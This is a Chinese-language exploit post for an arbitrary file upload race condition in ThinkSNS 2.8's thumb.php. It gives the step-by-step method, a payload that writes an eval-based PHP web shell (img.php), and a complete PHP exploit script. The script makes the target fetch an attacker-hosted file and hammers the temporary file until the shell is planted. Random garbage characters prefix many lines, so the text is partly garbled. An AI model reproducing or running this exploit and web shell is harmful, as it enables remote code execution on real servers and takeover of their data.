Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
. ?& s7 p5 _/ X! y漏洞文件
存在漏洞的文件为：thumb.php
' b; r8 j4 m5 @6 \0 ?作者：韦鲲鹏
4 l2 ~% R7 [7 o, S$ `1、        准备如下PHP文件并上传到服务器（自己的）。
: o/ ^  z3 X3 L; v/ O文件内容如下：
0 A0 F, t( D; {+ b( w1 F<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
) d; r5 x# `! _* X2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。

0 [" p. _4 S% H3 b5 L# {6 U  m3、        上传临时文件。
4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
; T5 P( @% u# o" LExploit文件内容如下：（这个我就不详细解释了）
: ]7 s9 e* V0 n$ q. P<?php
error_reporting(0);
set_time_limit(0);
: \7 q8 d! R+ j; q: @ini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
9 f; w, w7 J& I% y( _4 Tif (!$fp) die(‘Connection -> fail’);
/ y1 I( Y& |" [& S$ s7 _8 I8 }9 |fputs($fp, $headers);
return $fp;
}
function http_recv($fp) {
8 \4 ?; `3 l. W" A* y5 _0 C% b1 l$ret=”";
while (!feof($fp))
6 Y$ I1 w0 A  i  _) W$ret.= fgets($fp, 1024);
8 r0 T2 ?) g* ~! R; f/ T$ Zfclose($fp);
* a0 `  T# f' o. G' }return $ret;
6 ?$ u! Z2 e* L9 J+ c}
$ w* Q/ A) T+ ^6 N8 e  |7 Oprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
# ~3 l" k3 x; d8 \7 ?8 Qprint “# Discovered by 韦鲲鹏 #\n\n”;
4 B9 ^7 }) i# x% K8 d5 G6 Mif ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
}
& A0 X5 m) N) O: ]" t) P# H$host = $argv[1];
7 P: X& s9 E; g, O: H7 ~% q5 d+ Q$path = $argv[2];
$url = $argv[3];
$i=0;
//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
" N" |4 g. y6 o& f; \9 ^' R8 E3 i$headers_up .= “Host: “.$host.”\r\n”;
/ {6 M3 B* `2 Y% h  F1 h, |$headers_up .= “Connection: close\r\n\r\n”;
3 s% x* e9 I7 t+ ?echo $headers_up;
//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
echo $headers;
while(++$i<10) {
fclose(http_send($host, 80, $headers));
}
- Q) Q. i4 O9 Cfclose(http_send($host, 80, $headers_up));
while(++$i<50) {
) `# h$ y$ l* {& G. ]fclose(http_send($host, 80, $headers));
}
+ x0 A" m' m7 l3 b$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
! H, E9 M$ e& d5 W$headers .= “Connection: close\r\n\r\n”;
. `# n4 U7 m* N! e. [6 c$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
; r: ~9 _4 \: {0 ^& Z+ rprint “Success!\n\n”;
% S# H$ [7 j% m! o7 y' J+ }! x* V; _} else {
  I* y+ m4 ]6 U5 b' c8 y! _+ Rprint “Fail!\n\n”;
- u( g2 h. m, C% u}
5 r- ~3 a0 H2 e) r, R% [9 _/ ??>
​